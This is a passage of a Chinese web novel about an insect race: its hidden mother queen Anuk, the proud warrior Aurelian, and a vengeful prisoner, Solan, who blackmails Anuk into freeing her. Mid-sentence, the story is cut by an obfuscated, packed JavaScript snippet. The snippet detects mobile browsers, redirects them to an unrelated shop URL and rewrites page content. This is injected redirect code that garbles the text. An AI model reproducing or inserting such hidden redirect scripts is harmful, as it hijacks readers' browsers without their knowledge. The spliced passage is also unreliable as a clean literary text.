可洛翠知道,不是这样的。她又一次嗅到了那股气息。那种令她无法忽视、几乎要叫她心碎的气息。 孤独。是孤岛般的孤独,仿佛要将安努克吞没。 她难以自控地开口:“让我来保护你吧,安努克。加入我的族群吧。” 15. 第 15 章 (提前发了啊啊啊,明天我改一下,先别看!) “族群?” 荒野山丘,寸草不生。雄性族裔伫立着,碧绿眼瞳在光影下漾出幽亮波色。 他肩背挺拔,卷翘浓密的金发披散而下,被风掠得凌乱,恣意而不驯。 身为高等血脉中的顶端猎食者,他耀眼得犹如天穹阿波罗。 他也正如这副外表一般,是虫族公认实力强横、桀骜傲慢的叛逆异徒—— 奥瑞利安。 奥瑞利安唇角勾起温柔弧度,语意却凉薄讥诮,“虫族早已分裂千年,不也过得好好的,不需要再多一个虫母。” “奥瑞利安!你居然对陛下不敬!” 一道身影连忙拦在怒火上头的族裔身前,“阿泽尔,陛下说过,不要冲动。” 冷眼旁观的金发族裔轻“呵”一声,单手插进口袋,迈起长腿离开。 “你拦我做什么?!让我和他打一架。” “打架又有什么用,你说不定还打不过他。他能力压制你。” “别吵了。你们难道不是第一天知道奥瑞利安什么德行?陛下早就预料到了,早就说了,不听劝就算了。” “……可恶。” 背后声响渐远,直至彻底消没。 同族那种黏黏糊糊的亲昵,让他打心底里感到古怪、嫌恶。奥瑞利安不由轻笑,只有弱者,才需要同伴。 他绝不会沦落到那种地步。 奥瑞利安没想到,不过短短几日,先前的傲慢便反噬到了自己身上。因一时轻敌,他落入了几个招揽未果者联手设下的剿杀陷阱。 虫母诞生,并非所有族裔都甘愿臣服。自虫母出世至今,半年过去,仍有几个分裂族群苦苦抵挡。 听见风声后,他们怕他加入虫母阵营,再难翻盘。 于是先下手为强。 遍体鳞伤,伤口细密,刺痛连绵,体内能量也已不足以支撑人形。可即便如此,奥瑞利安仍理智得可怕,不见半点失序。 他是天生的杀戮兵器。愈是厮杀,围剿他的高等虫族便愈是心惊。 可到底寡不敌众。 奥瑞利安终究力竭。这一次,他没能避开。锐物刺入血肉,带起一声沉闷钝响,他没有低头。 只是想,脏了。 这颗洁白无瑕、终年积雪的星球,此时早已被猩红浸透,遍地残骸。 他静静躺在雪地里,疲惫地,讽刺地,甚至有些无聊地,等待最终的审判降临。 可刺痛迟迟未至,他睁开微阖的双眼。 很年轻。可最先攫住视线的,却是一双明亮、泠冽,如薄刃般清冷的瞳眸。 漆黑睫羽之下,晨曦落进眼底,像一层极淡的碎光。 她的手扼住尖刺,指若葱白。可是那位高等虫族,却在她轻描淡写的动作下,痛苦倒地。 同时,没等他看清,四周倏然无声。 秒杀。 奥瑞利安微顿。可他的思绪依旧清明,这时候出现不会是巧合。他没有开口,只等着对方说话。 可那名雌性只是淡淡看了他一眼,随手丢下武器,转身要走。 “你难道不是来劝我的吗?” 奥瑞利安出声叫住她。 他看见她胸前的族徽,剑兰。听说是虫母诞生后亲手设计的。他本不感兴趣,可架不住风头太盛,近来几乎每个虫族都在谈论。 他像是开玩笑般,低低咳嗽着,低笑,“如果是你,我说不定就会答应。” 雌性偏了下头,看着他,却说:“还站得起来吗?” 奥瑞利安一怔。 “都站不起来,”她俯下身,平视着他:“还怎么效忠?”她轻笑,没什么情绪:“凭我救你的这条命吗?” 奥瑞利安想说为什么你这么笃定,笃定我一定会效忠虫母。 只是救了他而已,大不了还她一条命。 他连虫母的模样都只是远远看过一眼。可在看到那躲在族群身后、柔软温顺的样子后,就丧失所有兴趣。 于虫族而言,怀柔手段最终带来的,究竟是虫母掌控族群,还是虫族多了一个傀儡陛下。 但是此刻,他却不自主地顺着她的话,硬撑着站了起来。 “真棒。” 就像是在夸一个幼崽。 她拍拍他腰:“那就跟上吧。” 奥瑞利安垂眸,忽然莫名想笑。原来她比他矮了那么多,大抵是想拍他的肩,却有些够不着? 他轻声唤住她:“我不想效忠虫母。” 难得有些赧意。要知道,平日里他一度被雌虫,乃至宇宙各族的雌性,评为最有风度的贵族、伴侣首选的绅士。 但一直以来,他始终对那些事物兴致缺缺。温柔,不过是必要的社交伪装罢了。 “但我要是加入了。”奥瑞利安凝视着那双很淡、却不显刺骨的瞳孔,“我想归于你麾下。” 雌性看了他半响,才犹豫鼓励道:“那你…加油?” 奥瑞利安:“?” 奥瑞利安跟上去,却发现伤口不再作痛了。他瞳孔微缩,应该是刚刚拍他那一下。 她的能力是治愈系?但武力值强的,稍微可怕。 他忽然对未来生出一丝期待,唇角浅浅勾起弧度。 一直以来,他都认为没有必要过多了解这个“试图重组”的族群。他唯一的目的,是找到当初那名雌虫。 可后来,不管他询问谁,得到的答复都如出一辙,对方身处高位,信息不得泄露。 他只能继续向上晋升。直到一日,他听到了一个对“族群”而言极坏的消息。 那几个分裂的族群,终于决定公开反抗。而此时,他们的陛下尚未完成二次蜕变。 她无法强行链接全族精神网链,并加以压制。 这代表,虫族内战即将正式发生。 终于要有点意思了。奥瑞利安这样想。日复一日的琐碎征程,于这个宇宙霸主种族而言,实在乏味至极。 他甚至期待那一天更早降临。 如果是战争,那么他一定会再次见到那名雌虫。她一定会出现在后援。 但奥瑞利安无论如何都没料到,她竟然就是“她”—— “她”甚至不惜以极其惨烈、近乎难以痊愈的代价,加快蜕变,只为终止虫族长久以来反复不休的战争。 他从不敢特意回想那段记忆。少女站在众族裔最前端,面貌与当初相见不同,可他还是一眼认出了那双眼。 她就这样,在刚完成二次蜕变后立即赶来,强行链接了所有虫族。 太糟糕了。 在那群自命为“贴身护卫”的亲卫队冲上来之前,奥瑞利安先一步瞬移,扶住了没能站稳的陛下。 他想,实在是太糟糕了。 你知不知道。 你的部下,究竟有多么失职。 后来终于有一日。 他单膝跪于红毯之上,面向顶层高高端坐的陛下。她面带温和笑意,眉眼沉静,却掩不住苍白,正凝望着他。 他低声宣誓:“陛下。奥瑞利安,为您献上至高荣耀。” 后来,奥瑞利安曾悄悄对陛下说过。他说,那时候这段话的背后,是愿能一直守护您。 如同您当初保护整个族群。 “让我来保护你吧。安努克。” 恍然听见洛翠这句话时,宁诺有些没反应过来。已经太久了。她强大了太久,纵然后来病得不轻,也从无人质疑过她的强大。 她已经很久没再从谁口中听到这个词。 少年轻声:“多谢你。冕下。” 他没有直接拒绝,可那神情,那话语,无一不在昭示他的决定。洛翠感到几分难堪,却仍旧体面笑道: “没关系,我也只是提一个建议。你知道的,宇宙法则赐予我们这些特殊精神力能力者一次赦免权。” “即便你在虫族犯过什么错,我也可以为你赦免。你不必为此担忧,毕竟,是你救过我。” 不愿让安努克感到压力,洛翠巧妙地将话题岔开:“另外,你之后有什么打算吗?” “冕下,我不想连累你。”他看着她,耐心解释,“赦免权只是一时的。” 人鱼混血的年轻人唇瓣微动,本想说她知道,她并不在乎。但是对方下一句话说:“您还有您的族裔。” 洛翠彻底感到颓败,她苦涩:“那我还有什么能帮到你的吗?” “当然。”少年侧身而立,神色温和:“我将塔维什的终端损坏了。您可以为我买一个吗?” “此事还请隐秘些,不要惊扰任何生物。” - 暗星,幻城。 像是觉察到风雨将至,幻城难得落了雨。淋漓雨幕洗过城池,连同其间的喜怒哀乐,一并冲刷殆尽。 首领的头颅滚落在地,转了几圈,最终面朝上停住,死不瞑目,亦满是不敢置信。 像是到底都不明白,自己是怎么惹上这个虫族的。 明明前几日,对方还向他下过命令,要他去寻艾尔晶石的消息。为了讨好对方,他四处打听了多个黑市,甚至一度动过直接抢的念头。 几个下属察觉不妙,有的扑来想替首领报仇,有的当场转身欲逃,可最后,无一幸免。 笼中的众种族尽数被放出。 两名虫族身形高大,气质迥异,却同样有着优越到近乎不似真人的相貌。 卡西安饶有兴致地问:“怎么突然来这里清理这群塔尔为族?” 塔维什目光暗了暗,语气平淡:“他们该死。” 当初他救下这名塔尔为族首领时,对方也不过是货物中的一员。谁曾想,最后竟活成了自己最憎恨的模样。 他忍不住问:“还是没有安努克的音讯吗?” 身侧的族裔嗯了一声,闻言,神色也缓缓淡了下去:“你说当时,是0132身上的那个东西动用了空间能力,将他瞬移带走。可就在刚刚,审问0132时,她却说,是安努克自己挣脱了。” 塔维什冷笑:“你信她的话?” “但已经过去五日了。研究院那边也开始催了。无论如何,我们都该回去了。” 卡西安走出巷子,雨水打落在他身上:“这五日已经是极限。押送她的队伍,为免生变,你我都不能缺席。” “没关系,这几日找不到,之后也可以再回来找。” 他说:“就算是尸体,也会找到的。珞因已经下令,在我们回来之前,出入港口一律封闭。进出都需要办理临时通行证,实行实名制。” “只要是他,立刻就会触发。” 塔维什仍旧心神不定,没有答话。卡西安也不在意,只笑了笑,继续道:“我倒觉得,他不会死。” 他们一路行至虫族飞船停泊的港口。眼下那里虫满为患,皆在为即将远航做准备。关押0132的牢笼是正方形,由坚不可摧的特殊石类材质制成。 远远地,摆放在港口中央的空地上。 身在其中的那道身影双手被手铐分控两侧栏杆,全身层层加固,一动不动,看不清神色。 卡西安不紧不慢道:“研究院下达了最高命令。必须将她……完完整整地带回去。” 塔维什嗤笑:“完整。” 现状,她早就插翅难飞。 他们没再关注。 黑暗中。 【系统。】 【在,我的主人。恭喜你,目前他们已经打算启程,将你押送去研究院。他们进步太快,可不像以前。这下子,你身上的秘密可能都藏不住咯。】 【妈呀,都到这种时候,你还在庆祝什么?】索兰皱了皱眉。这群虫族没伤她躯体,但精神上的伤害可没留情。 最主要的,还是为了找那名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374150|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “安努克”。 安努克……吗? 索兰笑道:【安努克现在,一定就在这里。】 【消失这么多天,她一定也已经得知自己“暴露”的消息。她可能,不,她一定会查到虫族封锁了暗星所有港口,并且,如今已经开始实行实名制验票的手段。这说明,她只有这么一次机会离开。】 【哦呦。‘她’。主人,你就这么确定,他就是‘她’吗?】 【系统。】索兰呼吸很重:【你可能不清楚。但是,我可是观察了她多少年…让我想想,十一年有吗?】 【还要多谢你的提醒。我不会认错她……说到这个,那些虫族竟然将她当成她的‘子嗣’。真是笑掉我大牙。】 系统慢悠悠:【她可是亲手被你杀死的呀?】 索兰笑得灿烂,扯到伤口,“嘶”了一声。【是啊。所以,我很了解她。】她抬眸扫向护栏外,目光意味深长: 【她目前,可不清楚她自己是怎么‘复活’的啊。】 【所以……】 索兰:【所以,我得提醒她。系统,帮我在位面商店购买道具,“单次精神力感知”“单次精神力沟通”。】 【好的,主人。这将花费你目前最后的所有点数。】 宁诺确实如索兰所料,眼下正伪装成一名平平无奇的中等血脉,混在其中一支搬运材料的队伍里。 这几日,原定启程的虫族忽然延后了离开的日期。等他们真正动身后,暗星又开始实行出港实名制。凡欲离开的,皆须核验身份、能力,以及能量物件的使用记录,就连洛翠出面拦截也无济于事。 宁诺便明白,他们是铁了心要将她找出来。 即便塔维什带回去的最后一个消息,多半会与她的“噩耗”有关。 可她若继续留在暗星,被找到几乎是必然。 所以,她唯一的路,只剩跟着虫族离开。 再在他们多次停靠其他星球港口时,另寻机会脱身。 然而搬运途中,她的手忽然顿在半空。下一瞬,她神色如常地将箱子安稳放进飞船后舱。 跟着队伍再次走出飞船。 【是我,索兰。安努克。】对方强行穿过她封闭的精神网链,径直笑道,【或许,我该称呼您为缇洛斯·宁诺?】 【不必好奇我是怎么做到的,又是怎么认出你的。正因为我有这个能力,才会被“现任虫母”通缉。我不管你在虫族那边听到了什么,但她认定,我是复活后的你。】 她的要求清晰:【我要你救我。现在,立刻。无论用什么办法。】 下一刹,身后骤然喧响。 【不然,我将通过精神网链,告诉全虫族,你复活了。】 血腥蔓开,众虫族都没料到,索兰竟会突然暴起、自残。一名高等虫族匆匆赶到,隔着牢笼敲开她的对话窗。 “你想说什么?” “我想说,缇……” 钥匙坠地,牢笼敞开。索兰定定地笑了。“我就知道。” 你一定会做好万全准备,即便未必用得上,你一向如此。好久不见—— 缇洛斯·宁诺。 年轻人俯身将她背起:“去哪?” 索兰飞快道:“前面第四艘飞船,我在那里藏了抵挡防护的能量物品!” 遭乱、喧闹。 他们穿梭于追逐,很快,索兰甚至远远看到赶来的那群…眼熟的家伙! 可她却笑得越来越开怀,嗓音低哑:“我真的,好痛啊。缇洛斯·宁诺。” “你知道多久了吗?他们杀了我多少次了吗?!”索兰长发散落,笑着说:“多少年了,九十五年…整整九十五年,我没日没夜都在逃亡,没日没夜地,心惊胆战。” “他们的虫母可真过分。她想要研究,我复活的奥秘。”索兰嗓音哑哑地在她耳畔吐气。 宁诺一脚踹进飞船,“防护能量物品在哪?” 索兰:“我拿到了,现在开启。” 下一瞬,幽蓝火焰骤然凝成尖刺,直直贯向身前少年的心脏。与此同时,一句冰冷的话轻得几不可闻。 “所以。我要再次报复他们。” 然而,索兰期待中的鲜血四溅并未发生。 眼前画面忽然一转,仿佛被生生逆转。面前那道身影只是稍显凌乱,不过是一路背着她逃到这里造成的,并未重伤。 前一秒,是幻术。 索兰突然就静了。“这次又是什么原因。” 宁诺也很无奈:“你的精神网链还在连着,杀意太重。” 索兰反应过来,怒得破口大骂系统:“我去你大爷——”下一秒,她像骤然失了支撑般倒下。这一次,她走得倒是爽快,话都没骂完,直接以精神力自行了断。 与此同时。 启动的防护能量物件连半秒都没撑住。飞船刚刚冲上天际,半边顶盖径直被割开,轰然巨响震彻上空。 一道雷光劈开云层,顷刻电闪雷鸣。 自雷光中走出的身影高大,一头金发,面上没有半分笑意,压迫感骇人。他面无表情地凝视着前方那艘飞船。 抬手间,整片上空雷霆密布。 宁诺没有回头,也能感知那迫近的极致杀意。 她凝视地上的尸体,慢慢吐出一口气,随意地站起身来。 忽地。 气流好似凝滞。 满场喧闹像是被强行掐断的荒诞戏剧。 整颗星球上的所有种族都在这一刻若有所感,不约而同地生出本能般的恐惧,止不住惊骇地抬头望向天穹。 扭曲、庞大的阴影横亘而来,如同一层遮天蔽日的黑潮。 那是—— 这一刻,连宇宙法则都听见了“她”的回声,并回以最为轰烈的共鸣。 自古以来,凡是传说,皆称她为众生恐惧的化身—— 众虫之母。